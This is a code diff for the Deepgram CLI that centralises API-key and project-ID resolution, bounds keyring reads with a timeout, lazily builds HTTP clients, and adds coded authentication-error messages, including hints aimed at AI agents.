     def _store_token(self, token_response: TokenResponse) -> None:
         """Store authentication token.
 
@@ -893,6 +934,7 @@ def _store_token(self, token_response: TokenResponse) -> None:
         expires independently of the OIDC access token and requires a new
         device authorization when it expires.
         """
+        _load_modules("keyring")
         profile_name = self.config.profile or "default"
 
         if token_response.dg_token:
@@ -944,6 +986,7 @@ def _store_token(self, token_response: TokenResponse) -> None:
             "Deepgram sign-in did not return a finite credential. Run `dg update` and `dg login` again."
         )
 
+    @_forgets_resolved
     def logout(self, keep_config: bool = False) -> None:
         """Logout user and clear credentials.
 
@@ -951,6 +994,7 @@ def logout(self, keep_config: bool = False) -> None:
             keep_config: If True, keep profile configuration (project ID, base URL)
                         and only clear credentials. If False, remove profile completely.
         """
+        _load_modules("keyring")
         profile_name = self.config.profile or "default"
         # Nothing is cleared from the keyring when the profile can't be saved.
         self.config.check_saveable()
@@ -992,9 +1036,8 @@ def list_profiles(self) -> ProfilesResult:
             project_id = profile.project_id
 
             try:
-                api_key = keyring.get_password(
-                    KEYRING_SERVICE, f"api-key.{profile_name}"
-                )
+                # Bounded off a terminal; a timeout falls back like an error.
+                api_key = credentials.keyring_read(f"api-key.{profile_name}")
                 # Project ID is only stored in config, not keyring
             except Exception:
                 # Fall back to config
@@ -1017,5 +1060,6 @@ def list_profiles(self) -> ProfilesResult:
 
     def __del__(self) -> None:
         """Cleanup HTTP client."""
-        if hasattr(self, "client"):
-            self.client.close()
+        client = self.__dict__.get("_client")
+        if client is not None:
+            client.close()
diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index 1b930b31..914e6dca 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -6,6 +6,7 @@
 
 import click
 
+from . import credentials
 from .auth import AuthManager
 from .client import DeepgramClient
 from .config import Config, flush_config_notices
@@ -153,6 +154,7 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
         with TimingContext(f"command_{self.name}_total"):
             # Output mode is set up by now; print queued config notices.
             flush_config_notices()
+            credentials.flush_warnings()
             with TimingContext("command_setup"):
                 # Get configuration from context
                 config = ctx.obj.get("config")
@@ -172,7 +174,7 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
                 )
 
                 # Create Deepgram client
-                client = DeepgramClient(config, auth_manager)
+                client = self._make_client(config, auth_manager)
 
             # Refusals that need no credentials come before the auth check,
             # so a refused command sends nothing at all.
@@ -189,39 +191,12 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
                 with TimingContext("authentication_check"):
                     try:
                         auth_manager.guard()
-
-                        # Log credential source and project ID for transparency
-                        if not config.get("output.quiet", False):
-                            source = auth_manager.get_credential_source()
-                            project_id = auth_manager.get_project_id()
-
-                            # Only log if not using a profile (i.e., using env vars or flags)
-                            if source in [
-                                "explicit flags",
-                                "environment variables",
-                            ]:
-                                # Diagnostics, not the result. print_info /
-                                # print_warning still write to stdout outside
-                                # agentic mode, so with an explicit `-o json`
-                                # these three lines landed in front of the
-                                # payload and broke `| jq` (#104, success
-                                # path). Route them straight to stderr; the
-                                # prefixes mirror output.py so the rendering
-                                # is unchanged in both modes.
-                                info = "INFO:" if _agentic else "[blue]ℹ[/blue]"
-                                stderr_console.print(
-                                    f"{info} Using credentials from {source}"
-                                )
-                                if project_id:
-                                    stderr_console.print(
-                                        f"{info} Affecting project: {project_id}"
-                                    )
-                                else:
-                                    warn = "WARN:" if _agentic else "[yellow]⚠[/yellow]"
-                                    stderr_console.print(
-                                        f"{warn} No project ID specified"
-                                    )
-
+                        self._print_credential_source(config, auth_manager)
+                    except TransportError as e:
+                        # auth_required: the coded result on stdout and two
+                        # stderr lines, like any other coded error.
+                        self._report_transport_error(e, ctx, config, auth_manager)
+                        raise SystemExit(1) from None
                     except Exception as auth_error:
                         # guard() already wrote the human-readable diagnosis to
                         # stderr, so don't duplicate it -- but stdout must still
@@ -310,6 +285,37 @@ def execute(self, ctx: click.Context, **kwargs: Any) -> None:
             if exit_code:
                 raise SystemExit(exit_code)
 
+    def _make_client(self, config: Config, auth_manager: AuthManager) -> Any:
+        """The Deepgram client handed to ``handle``."""
+        return DeepgramClient(config, auth_manager)
+
+    def _print_credential_source(
+        self, config: Config, auth_manager: AuthManager
+    ) -> None:
+        """Say where the credentials came from when no profile supplied them.
+
+        Diagnostics, not the result: straight to stderr, so `-o json`
+        output stays parseable (#104). The source is the resolver's, so a
+        key from DEEPGRAM_API_KEY is reported as the environment's even
+        though Config merges it into the profile.
+        "No project ID specified" only for commands that need one.
+        """
+        if config.get("output.quiet", False):
+            return
+        source = auth_manager.get_credential_source()
+        if source not in ("explicit flags", "environment variables"):
+            return
+        project_id = auth_manager.get_project_id()
+        info = "INFO:" if _agentic else "[blue]ℹ[/blue]"
+        stderr_console.print(f"{info} Using credentials from {source}")
+        if project_id:
+            from rich.markup import escape
+
+            stderr_console.print(f"{info} Affecting project: {escape(project_id)}")
+        elif self.requires_project:
+            warn = "WARN:" if _agentic else "[yellow]⚠[/yellow]"
+            stderr_console.print(f"{warn} No project ID specified")
+
     def _run_handler(
         self,
         config: Config,
diff --git a/packages/deepctl-core/src/deepctl_core/base_group_command.py b/packages/deepctl-core/src/deepctl_core/base_group_command.py
index 1c64e565..768d1981 100644
--- a/packages/deepctl-core/src/deepctl_core/base_group_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_group_command.py
@@ -1,6 +1,6 @@
 """Base class for group commands that can contain subcommands."""
 
-from typing import Any
+from typing import Any, cast
 
 import click
 
@@ -16,6 +16,34 @@
 console = stderr_console
 
 
+class _LazyClient:
+    """A :class:`DeepgramClient` built on first use.
+
+    A group's callback runs before its subcommand parses ``--help``, so
+    ``dg debug <sub> --help`` must not load the SDK (and with it httpx and
+    ssl) just to hand the group a client it rarely uses.
+    """
+
+    __slots__ = ("_args", "_client")
+
+    def __init__(self, config: Config, auth_manager: AuthManager) -> None:
+        object.__setattr__(self, "_args", (config, auth_manager))
+        object.__setattr__(self, "_client", None)
+
+    def _real(self) -> DeepgramClient:
+        client = object.__getattribute__(self, "_client")
+        if client is None:
+            client = DeepgramClient(*object.__getattribute__(self, "_args"))
+            object.__setattr__(self, "_client", client)
+        return cast("DeepgramClient", client)
+
+    def __getattr__(self, name: str) -> Any:
+        return getattr(self._real(), name)
+
+    def __setattr__(self, name: str, value: Any) -> None:
+        setattr(self._real(), name, value)
+
+
 class BaseGroupCommand(BaseCommand):
     """Base class for commands that act as groups containing subcommands.
 
@@ -44,6 +72,10 @@ def __init__(self) -> None:
         if not hasattr(self, "invoke_without_command"):
             self.invoke_without_command = False
 
+    def _make_client(self, config: Config, auth_manager: AuthManager) -> Any:
+        """A client built only if the group's handler uses it."""
+        return _LazyClient(config, auth_manager)
+
     def add_subcommand(self, name: str, command_class: type[BaseCommand]) -> None:
         """Add a subcommand to this group.
 
diff --git a/packages/deepctl-core/src/deepctl_core/credentials.py b/packages/deepctl-core/src/deepctl_core/credentials.py
new file mode 100644
index 00000000..b3bd5786
--- /dev/null
+++ b/packages/deepctl-core/src/deepctl_core/credentials.py
@@ -0,0 +1,541 @@
+"""One place that decides which API key and project ID a run uses.
+
+:func:`resolve` returns a :class:`Resolved`: the key, the project ID, where
+each came from, the profile and why that profile, and whether the user
+config file's key was left unused because the file isn't trusted. Every
+``AuthManager`` question (``get_api_key``, ``get_project_id``,
+``get_credential_source``, ``is_authenticated``, ``has_profile_credentials``)
+is answered from it, so ``mcp``, ``init``, ``debug toolkit`` and ``login``
+share one precedence.
+
+The 0.5.0 precedence is 0.4.2's, unchanged: ``--api-key`` > the profile's
+keyring entry > the profile in the config file > ``DEEPGRAM_API_KEY``. The
+config file layer already holds ``DEEPGRAM_API_KEY`` when it is set
+(``Config`` merges the environment into the profile), so a file key equal to
+the environment value is reported as the environment's. The 1.0 order
+comes later.
+
+Under a hard AI-agent signal, ``Config`` drops the key of a user file that
+others can write or that someone else owns;
+``Config.api_key_untrusted`` says so and the result carries
+``untrusted_source``. Such a file's ``dg_token_expires_at`` never deletes
+the keyring entry.
+
+The keyring is imported only when a key is needed and no ``--api-key`` was
+given. Off a terminal (and so under MCP), a read gets
+:data:`KEYRING_BOUND_S` seconds in a daemon thread; when it doesn't answer,
+the run goes on without it, says so once (``W-KEYRING-TIMEOUT``) and doesn't
+ask again.
+
+A value that is still an unexpanded ``${...}`` placeholder counts as unset
+(``W-ENV-PLACEHOLDER``, once per variable).
+
+This module imports only the standard library at import time.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import threading
+from dataclasses import dataclass
+from datetime import datetime, timezone
+from typing import TYPE_CHECKING, Any
+
+if TYPE_CHECKING:
+    from .config import Config
+
+# ``key_source`` values: `dg whoami`'s words, plus the flag.
+KEY_SOURCE_FLAG = "--api-key"
+KEY_SOURCE_KEYRING = "system keyring"
+KEY_SOURCE_FILE = "config file"
+KEY_SOURCE_ENV = "DEEPGRAM_API_KEY (env)"
+KEY_SOURCE_NONE = "not set"
+
+# ``profile_source`` values (DX-S15).
+PROFILE_SOURCE_NONE = "none"
+PROFILE_SOURCE_FLAG = "--profile"
+PROFILE_SOURCE_ENV = "DEEPGRAM_PROFILE"
+PROFILE_SOURCE_FILE = "user-file default"
+
+# Keyring reads off a terminal get this long before the run goes on without
+# the keyring.
+KEYRING_BOUND_S = 2.0
+
+# The env-vs-stored mismatch warning. Off in 0.5.0: login doesn't
+# write fingerprints yet. A later release turns it on.
+WARN_ENV_MISMATCH = False
+
+# The environment variables a placeholder can't stand in for.
+PLACEHOLDER_VARIABLES = (
+    "DEEPGRAM_API_KEY",
+    "DEEPGRAM_PROFILE",
+    "DEEPGRAM_PROJECT_ID",
+    "DEEPGRAM_BASE_URL",
+)
+
+# Catalogue text (error_codes.json "strings"). Filled in with
+# str.replace: the text itself holds braces.
+W_ENV_PLACEHOLDER = (
+    "{prog} ignored {variable}: it holds a placeholder that was never filled in (${…})."
+)
+W_KEYRING_TIMEOUT = (
+    "The system keyring didn't answer within 2 s, so {prog} didn't use the key "
+    "stored there."
+)
+
+_EXPIRY_INVALID = "Your Deepgram credential expiry is invalid. Run `dg login` again."
+_EXPIRY_PAST = "Your Deepgram credential has expired. Run `dg login` again."
+
+
+@dataclass(frozen=True)
+class Resolved:
+    """The credentials one run uses, and where they came from."""
+
+    api_key: str | None
+    project_id: str | None
+    key_source: str
+    profile: str
+    profile_source: str
+    # The user config file whose key wasn't used (display path), or None.
+    untrusted_source: str | None = None
+    # Why a stored credential was unusable when nothing else was set.
+    expiry_error: str | None = None
+    # 0.4.2's has_profile_credentials(): a usable keyring entry, or a key in
+    # the profile as Config holds it (which includes DEEPGRAM_API_KEY).
+    profile_has_key: bool = False
+    profile_has_project: bool = False
+    project_source: str = "none"  # "flag", "profile", "env" or "none"
+    # DEEPGRAM_API_KEY is set and differs from the stored key that won.
+    # Always False while WARN_ENV_MISMATCH is off.
+    env_mismatch: bool = False
+    # The keyring entry an expired credential in a trusted file leaves behind
+    # (``api-key.<profile>``); removed only by a resolution with prune=True.
+    prune_target: str | None = None
+
+
+# ── Placeholders ─────────────────────────────────────────────────────
+
+_lock = threading.Lock()
+# variable -> the placeholder text it held (to recognise it inside Config).
+_dropped: dict[str, str] = {}
+_warned: set[str] = set()
+
+
+def is_placeholder(value: object) -> bool:
+    """True for a value that still holds an unexpanded ``${...}``."""
+    return isinstance(value, str) and "${" in value
+
+
+def drop_env_placeholders() -> list[str]:
+    """Remove placeholder values of :data:`PLACEHOLDER_VARIABLES` from the
+    environment, so ``Config`` and everything after it see them as unset.
+
+    Returns the variables removed by this call. Safe to call more than once.
+    """
+    removed = []
+    with _lock:
+        for name in PLACEHOLDER_VARIABLES:
+            value = os.environ.get(name)
+            if is_placeholder(value):
+                _dropped[name] = str(value)
+                del os.environ[name]
+                removed.append(name)
+    return removed
+
+
+def env_value(name: str) -> str | None:
+    """``os.environ[name]``, with an empty value or a placeholder treated as
+    unset."""
+    return _env(name)
+
+
+def _env(name: str) -> str | None:
+    """``os.environ[name]``, with a placeholder treated as unset."""
+    value = os.environ.get(name)
+    if is_placeholder(value):
+        with _lock:
+            _dropped.setdefault(name, str(value))
+        return None
+    return value or None
+
+
+def _was_placeholder(name: str, value: object) -> bool:
+    """True when ``value`` is the placeholder ``name`` holds or held (merged
+    by a Config built before :func:`drop_env_placeholders` ran)."""
+    if not is_placeholder(value):
+        return False
+    if os.environ.get(name) == value:
+        with _lock:
+            _dropped.setdefault(name, str(value))
+        return True
+    with _lock:
+        return _dropped.get(name) == value
+
+
+def flush_warnings() -> None:
+    """Print ``W-ENV-PLACEHOLDER`` once per ignored variable."""
+    with _lock:
+        names = [n for n in PLACEHOLDER_VARIABLES if n in _dropped and n not in _warned]
+        _warned.update(names)
+    for name in names:
+        _warn(W_ENV_PLACEHOLDER.replace("{variable}", name))
+
+
+def _warn(text: str) -> None:
+    from rich.markup import escape
+
+    from . import output, transport
+
+    message = text.replace("{prog}", transport.prog() or "dg")
+    output.print_warning(escape(message), stderr=True, ignore_quiet=True)
+
+
+# ── Keyring ──────────────────────────────────────────────────────────
+
+_keyring_timed_out = False
+
+
+def _interactive() -> bool:
+    """A person at a terminal (where a keyring may ask to be unlocked)."""
+    try:
+        return bool(sys.stdin and sys.stdin.isatty() and sys.stderr.isatty())
+    except (AttributeError, ValueError, OSError):
+        return False
+
+
+def keyring_timed_out() -> bool:
+    """True once a keyring read in this process didn't answer in time."""
+    return _keyring_timed_out
+
+
+def _keyring_call(name: str, *args: str) -> Any:
+    """``keyring.<name>(*args)``, bounded off a terminal.
+
+    Raises what the keyring raises. Returns ``None`` without calling it once
+    a read has timed out in this process.
+    """
+    global _keyring_timed_out
+    if _keyring_timed_out:
+        return None
+    from . import auth
+
+    def call() -> Any:
+        # Through deepctl_core.auth, so tests that patch auth.keyring apply;
+        # the import itself runs here too, inside the bound.
+        module = vars(auth).get("keyring") or auth._bind_module("keyring")
+        return getattr(module, name)(*args)
+
+    if _interactive():
+        return call()
+    box: dict[str, Any] = {}
+
+    def work() -> None:
+        try:
+            box["value"] = call()
+        except BaseException as exc:  # handed to the caller below
+            box["error"] = exc
+
+    thread = threading.Thread(target=work, name="deepctl-keyring", daemon=True)
+    thread.start()
+    thread.join(KEYRING_BOUND_S)
+    if thread.is_alive():
+        with _lock:
+            first = not _keyring_timed_out
+            _keyring_timed_out = True
+        if first:
+            _warn(W_KEYRING_TIMEOUT)
+        return None
+    if "error" in box:
+        raise box["error"]
+    return box.get("value")
+
+
+class KeyringTimeout(Exception):
+    """The keyring didn't answer within :data:`KEYRING_BOUND_S` (this read or
+    an earlier one in this process)."""
+
+
+def keyring_read(username: str) -> str | None:
+    """The keyring's value for ``username``, bounded like every resolver read.
+
+    Raises what the keyring raises, and :class:`KeyringTimeout` when it
+    doesn't answer in time, so callers that fall back on an error keep doing
+    so. Returns ``None`` when there's no entry.
+    """
+    from .auth import KEYRING_SERVICE
+
+    if _keyring_timed_out:
+        raise KeyringTimeout()
+    value = _keyring_call("get_password", KEYRING_SERVICE, username)
+    if _keyring_timed_out:
+        raise KeyringTimeout()
+    return value if isinstance(value, str) and value else None
+
+
+def keyring_get(username: str) -> str | None:
+    """The keyring's value for ``username``; ``None`` if absent, failing or
+    timed out."""
+    try:
+        return keyring_read(username)
+    except Exception:
+        return None
+
+
+def keyring_delete(username: str) -> None:
+    """Remove a keyring entry when present, without masking keyring failures."""
+    from .auth import KEYRING_SERVICE, console
+
+    try:
+        _keyring_call("delete_password", KEYRING_SERVICE, username)
+    except Exception as exc:
+        from keyring.errors import PasswordDeleteError
+
+        if isinstance(exc, PasswordDeleteError):
+            return
+        console.print(
+            f"[yellow]Warning:[/yellow] Could not remove legacy credential: {exc}"
+        )
+
+
+# ── Resolution ───────────────────────────────────────────────────────
+
+
+def credential_expiry(config: Config, profile_name: str) -> tuple[bool, str | None]:
+    """Whether the profile's finite credential is unusable, and why."""
+    expires_at = config.get_profile(profile_name).dg_token_expires_at
+    if not isinstance(expires_at, str):
+        return False, None
+    try:
+        parsed = datetime.fromisoformat(expires_at)
+        if parsed.tzinfo is None:
+            raise ValueError
+    except (TypeError, ValueError):
+        return True, _EXPIRY_INVALID
+    if parsed <= datetime.now(timezone.utc):
+        return True, _EXPIRY_PAST
+    return False, None
+
+
+def _user_value(config: Config, *path: str) -> Any:
+    data: Any = getattr(config, "_user_data", None)
+    for part in path:
+        if not isinstance(data, dict):
+            return None
+        data = data.get(part)
+    return data
+
+
+def profile_name(config: Config) -> tuple[str, str]:
+    """The profile this run uses and why (``profile_source``)."""
+    name = config.profile or "default"
+    explicit = getattr(config, "_explicit_profile", None)
+    env_profile = os.environ.get("DEEPGRAM_PROFILE")
+    if explicit and name == explicit:
+        return name, PROFILE_SOURCE_FLAG
+    if is_placeholder(name) and _was_placeholder("DEEPGRAM_PROFILE", name):
+        # Config took the placeholder as the profile name: use the one the
+        # file names instead.
+        name = (
+            _user_value(config, "active_profile")
+            or _user_value(config, "default_profile")
+            or "default"
+        )
+        name = str(name)
+        source = PROFILE_SOURCE_FILE if name != "default" else PROFILE_SOURCE_NONE
+        return name, source
+    if config.get("active_profile") == name:
+        return name, PROFILE_SOURCE_FILE
+    if env_profile and name == env_profile:
+        return name, PROFILE_SOURCE_ENV
+    if _user_value(config, "default_profile") == name:
+        return name, PROFILE_SOURCE_FILE
+    return name, PROFILE_SOURCE_NONE
+
+
+def _profile_key(config: Config, name: str) -> str | None:
+    """The profile's key as Config holds it (file, or the merged env value)."""
+    key = config.get_profile(name).api_key
+    if not key:
+        return None
+    if is_placeholder(key):
+        if not _was_placeholder("DEEPGRAM_API_KEY", key):
+            return None
+        # Config merged the placeholder over the file's key: use the file's.
+        if getattr(config, "api_key_untrusted", False) is True:
+            return None
+        stored = _user_value(config, "profiles", name, "api_key")
+        return (
+            stored if isinstance(stored, str) and not is_placeholder(stored) else None
+        )
+    return key
+
+
+def _profile_project(config: Config, name: str) -> str | None:
+    project = config.get_profile(name).project_id
+    if not project:
+        return None
+    if is_placeholder(project):
+        if not _was_placeholder("DEEPGRAM_PROJECT_ID", project):
+            return None
+        stored = _user_value(config, "profiles", name, "project_id")
+        return (
+            stored if isinstance(stored, str) and not is_placeholder(stored) else None
+        )
+    return project
+
+
+def resolve(
+    ctx: Any,
+    *,
+    profile: str | None = None,
+    ignore_env: bool = False,
+    need_key: bool = True,
+    prune: bool = True,
+) -> Resolved:
+    """The credentials for ``ctx``: anything with ``config``,
+    ``explicit_api_key`` and ``explicit_project_id`` (an ``AuthManager``).
+
+    ``profile`` asks about another profile than the run's. ``ignore_env``
+    leaves ``DEEPGRAM_API_KEY`` and ``DEEPGRAM_PROJECT_ID`` out.
+    ``need_key=False`` answers project questions without reading the keyring.
+    ``prune=False`` keeps the answer read-only: an expired credential's
+    keyring entry stays (whoami and the other introspection, as in 0.4.2);
+    commands that use the key prune it, as 0.4.2's ``get_api_key`` did.
+    Raises nothing; ``expiry_error`` says why a stored credential wasn't used.
+    """
+    try:
+        resolved = _resolve(ctx, profile, ignore_env, need_key)
+        if prune:
+            prune_expired(resolved)
+        return resolved
+    finally:
+        flush_warnings()
+
+
+def prune_expired(resolved: Resolved) -> None:
+    """Remove the keyring entry of an expired credential (trusted file only)."""
+    if resolved.prune_target:
+        keyring_delete(resolved.prune_target)
+
+
+def _resolve(
+    ctx: Any, profile: str | None, ignore_env: bool, need_key: bool
+) -> Resolved:
+    config: Config = ctx.config
+    if profile:
+        name, profile_source = profile, PROFILE_SOURCE_FLAG
+    else:
+        name, profile_source = profile_name(config)
+    untrusted = getattr(config, "api_key_untrusted", False) is True
+    untrusted_source = None
+    if untrusted:
+        from . import messages
+
+        untrusted_source = messages.display_path(config.config_path)
+
+    env_key = None if ignore_env else _env("DEEPGRAM_API_KEY")
+    env_project = None if ignore_env else _env("DEEPGRAM_PROJECT_ID")
+
+    # Project ID: flag > profile (as Config holds it) > env.
+    project_file = _profile_project(config, name)
+    raw_env_project = _env("DEEPGRAM_PROJECT_ID")
+    if ctx.explicit_project_id:
+        project_id, project_source = ctx.explicit_project_id, "flag"
+    elif project_file:
+        project_id = project_file
+        project_source = (
+            "env" if raw_env_project and project_file == raw_env_project else "profile"
+        )
+    elif env_project:
+        project_id, project_source = env_project, "env"
+    else:
+        project_id, project_source = None, "none"
+
+    def result(
+        key: str | None,
+        source: str,
+        *,
+        has_key: bool = False,
+        expiry_error: str | None = None,
+        env_mismatch: bool = False,
+    ) -> Resolved:
+        # Only a trusted file's expiry may remove the keyring entry.
+        prune_target = f"api-key.{name}" if expired and not untrusted else None
+        return Resolved(
+            api_key=key,
+            project_id=project_id,
+            key_source=source,
+            profile=name,
+            profile_source=profile_source,
+            untrusted_source=untrusted_source,
+            expiry_error=expiry_error,
+            profile_has_key=has_key,
+            profile_has_project=bool(project_file),
+            project_source=project_source,
+            env_mismatch=env_mismatch,
+            prune_target=prune_target,
+        )
+
+    expired = False
+    if ctx.explicit_api_key:
+        return result(ctx.explicit_api_key, KEY_SOURCE_FLAG)
+    if not need_key:
+        return result(None, KEY_SOURCE_NONE)
+
+    file_key = _profile_key(config, name)
+    raw_env_key = _env("DEEPGRAM_API_KEY")
+    expired, expiry_error = credential_expiry(config, name)
+    if not expired:
+        stored = keyring_get(f"api-key.{name}")
+        if stored:
+            mismatch = _mismatch(stored, env_key)
+            return result(
+                stored, KEY_SOURCE_KEYRING, has_key=True, env_mismatch=mismatch
+            )
+        if file_key:
+            source = (
+                KEY_SOURCE_ENV
+                if raw_env_key and file_key == raw_env_key
+                else KEY_SOURCE_FILE
+            )
+            # As in 0.4.2, ignore_env doesn't skip the env value Config
+            # merged into the profile; it skips only the last fallback.
+            mismatch = source == KEY_SOURCE_FILE and _mismatch(file_key, env_key)
+            return result(file_key, source, has_key=True, env_mismatch=mismatch)
+
+    if env_key:
+        return result(env_key, KEY_SOURCE_ENV, expiry_error=expiry_error)
+    return result(None, KEY_SOURCE_NONE, expiry_error=expiry_error)
+
+
+# ── Env-vs-stored mismatch ───────────────────────────────────────────
+
+
+def fingerprint(key: str) -> str:
+    """A short, non-reversible fingerprint of a key, for comparisons."""
+    import hashlib
+
+    return hashlib.sha256(key.encode("utf-8")).hexdigest()[:16]
+
+
+def _mismatch(stored: str, env_key: str | None) -> bool:
+    """True when DEEPGRAM_API_KEY is set and isn't the stored key that won.
+
+    Compares fingerprints, never keys, so a later release can compare with the
+    fingerprint login will store. Behind :data:`WARN_ENV_MISMATCH`, which is
+    off in 0.5.0: login doesn't write fingerprints yet, and a later release
+    adds the warning text and turns it on.
+    """
+    if not WARN_ENV_MISMATCH or not env_key:
+        return False
+    return fingerprint(stored) != fingerprint(env_key)
+
+
+def _reset_for_tests() -> None:
+    """Forget the per-process state (placeholders, warnings, keyring timeout)."""
+    global _keyring_timed_out
+    with _lock:
+        _dropped.clear()
+        _warned.clear()
+        _keyring_timed_out = False
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index bb1030c5..d4ec6a16 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -28,6 +28,8 @@
 import threading
 from typing import TYPE_CHECKING, Any
 
+from . import credentials
+
 if TYPE_CHECKING:
     import httpx
 
@@ -95,6 +97,25 @@ def _set_client(client: httpx.Client | None) -> None:
 # ── Catalogue text (error_codes.json "strings") ──────────────────────
 
 STRINGS: dict[str, str] = {
+    # The 0.4.x error text, frozen: scripts match on it (legacy_error_text_frozen).
+    "E-AUTH-REQUIRED": "DEEPGRAM_API_KEY is not set",
+    "H-AUTH-REQUIRED": "Run {prog} login, or set DEEPGRAM_API_KEY.",
+    "A-AUTH-REQUIRED": (
+        "Run {prog} login and give the user the verification link and code it "
+        "prints. Never ask the user for an API key in a chat, and don't search "
+        "files for one."
+    ),
+    "C-AUTH-REQUIRED": (
+        "Set DEEPGRAM_API_KEY in this job's environment, or run {prog} login."
+    ),
+    # 0.4.1's messages.E_KEY_UNTRUSTED and W_CFG_UNTRUSTED_FILE_HINT, verbatim.
+    "E-KEY-UNTRUSTED": (
+        "dg didn't use the API key in {user_config} (see the warning above), and no "
+        "other API key is set."
+    ),
+    "W_CFG_UNTRUSTED_FILE_HINT": (
+        "A person must fix this file. If you are an AI agent, ask the user."
+    ),
     "E-AUTH-INVALID": "Deepgram rejected the API key (HTTP 401).",
     "H-AUTH-INVALID": (
         "The API key may have expired or been revoked. Run {prog} login to log "
@@ -193,6 +214,12 @@ def _set_client(client: httpx.Client | None) -> None:
 # code -> (error message ID, human hint, agent hint, automation hint or None)
 Messages = tuple[str, str, str, "str | None"]
 CODES: dict[str, Messages] = {
+    "auth_required": (
+        "E-AUTH-REQUIRED",
+        "H-AUTH-REQUIRED",
+        "A-AUTH-REQUIRED",
+        "C-AUTH-REQUIRED",
+    ),
     "auth_invalid": (
         "E-AUTH-INVALID",
         "H-AUTH-INVALID",
@@ -228,6 +255,16 @@ def _set_client(client: httpx.Client | None) -> None:
     None,
 )
 
+# auth_required's other message: the only key was in a user config file this
+# AI agent session doesn't trust. next_step is null: a person
+# has to fix the file.
+KEY_UNTRUSTED: Messages = (
+    "E-KEY-UNTRUSTED",
+    "W_CFG_UNTRUSTED_FILE_HINT",
+    "W_CFG_UNTRUSTED_FILE_HINT",
+    None,
+)
+
 # Network failure reasons for E-NETWORK's {reason}.
 REASON_DNS = "name resolution failed"
 REASON_REFUSED = "connection refused"
@@ -239,10 +276,10 @@ def _set_client(client: httpx.Client | None) -> None:
 REASON_PROXY = "the proxy refused the connection"
 REASON_OTHER = "connection failed"
 
-KEY_SOURCE_ENV = "DEEPGRAM_API_KEY (env)"
-KEY_SOURCE_FLAG = "--api-key"
-KEY_SOURCE_KEYRING = "system keyring"
-KEY_SOURCE_FILE = "config file"
+KEY_SOURCE_ENV = credentials.KEY_SOURCE_ENV
+KEY_SOURCE_FLAG = credentials.KEY_SOURCE_FLAG
+KEY_SOURCE_KEYRING = credentials.KEY_SOURCE_KEYRING
+KEY_SOURCE_FILE = credentials.KEY_SOURCE_FILE
 
 
 class TransportError(BaseException):
@@ -517,33 +554,17 @@ def prog() -> str | None:
 
 
 def _key_source(auth_manager: AuthManager | None) -> str | None:
+    """Where the key that was sent came from: the resolver's answer, so the
+    error path reads the keyring no second time."""
     if auth_manager is None:
         return None
     if auth_manager.explicit_api_key:
         return KEY_SOURCE_FLAG
     try:
-        key = auth_manager.get_api_key()
+        source = auth_manager.resolve().key_source
     except Exception:
         return None
-    if not key:
-        return None
-    # The order `dg whoami` uses: keyring, then the config file (a profile key
-    # equal to the env value came from the env), then the env.
-    import keyring
-
-    from .auth import KEYRING_SERVICE
-
-    env_key = os.environ.get("DEEPGRAM_API_KEY")
-    profile = auth_manager.config.profile or "default"
-    try:
-        stored = keyring.get_password(KEYRING_SERVICE, f"api-key.{profile}")
-    except Exception:
-        stored = None
-    if stored and stored == key:
-        return KEY_SOURCE_KEYRING
-    # Config merges the env key into the profile, so a file key equal to the
-    # env value came from the env.
-    return KEY_SOURCE_ENV if env_key == key else KEY_SOURCE_FILE
+    return None if source == credentials.KEY_SOURCE_NONE else source
 
 
 def render(
@@ -564,7 +585,12 @@ def render(
 
     next_step: str | None = None
     hint_id = human if not agentic else (automation or agent) if soft_only else agent
-    if err.code == "auth_invalid":
+    if err.code == "auth_required":
+        # Nobody can approve a device code under soft-only signals (CI, cron),
+        # and a person has to fix an untrusted file.
+        if not soft_only and program and err.messages[0] == "E-AUTH-REQUIRED":
+            next_step = f"{program} login"
+    elif err.code == "auth_invalid":
         source = _key_source(auth_manager)
         if source:
             details["key_source"] = source
diff --git a/packages/deepctl-core/tests/unit/test_auth.py b/packages/deepctl-core/tests/unit/test_auth.py
index 946f1e11..229e5823 100644
--- a/packages/deepctl-core/tests/unit/test_auth.py
+++ b/packages/deepctl-core/tests/unit/test_auth.py
@@ -602,7 +602,10 @@ class TestFiniteCredentialFlow:
     def _make_auth(self, mock_config):
         with patch("deepctl_core.auth.httpx.Client"):
             with patch("deepctl_core.auth.keyring"):
-                return AuthManager(mock_config)
+                auth = AuthManager(mock_config)
+                # The client is built on first use; build it under the patch.
+                _ = auth.client
+                return auth
 
     # ------------------------------------------------------------------
     # _store_token — finite direct credential path
diff --git a/packages/deepctl-core/tests/unit/test_auth_insecure.py b/packages/deepctl-core/tests/unit/test_auth_insecure.py
index 88bfd1df..a1e3f810 100644
--- a/packages/deepctl-core/tests/unit/test_auth_insecure.py
+++ b/packages/deepctl-core/tests/unit/test_auth_insecure.py
@@ -25,7 +25,8 @@ def _isolated(monkeypatch):
 
 def client_kwargs(config) -> dict:
     with patch.object(auth_module.httpx, "Client") as client:
-        AuthManager(config)
+        # The client is built on first use (login's device flow and verify).
+        _ = AuthManager(config).client
     return dict(client.call_args.kwargs)
 
 
diff --git a/packages/deepctl-core/tests/unit/test_config_location.py b/packages/deepctl-core/tests/unit/test_config_location.py
index 6c84ec54..c564750a 100644
--- a/packages/deepctl-core/tests/unit/test_config_location.py
+++ b/packages/deepctl-core/tests/unit/test_config_location.py
@@ -848,10 +848,21 @@ def test_missing_key_after_untrusted_file_key_says_so(real_home, monkeypatch, ca
         "above), and no other API key is set."
     )
     assert str(err.value) == expected
-    captured = capsys.readouterr()
-    text = (captured.out + captured.err).replace("\n", " ")
-    assert f"ERROR: {expected}" in text
-    assert f"HINT: {FILE_HINT}" in text
+    # guard() raises the coded auth_required (E-KEY-UNTRUSTED);
+    # BaseCommand prints its two lines (test_credentials.py covers that).
+    from deepctl_core import transport
+
+    assert isinstance(err.value, transport.TransportError)
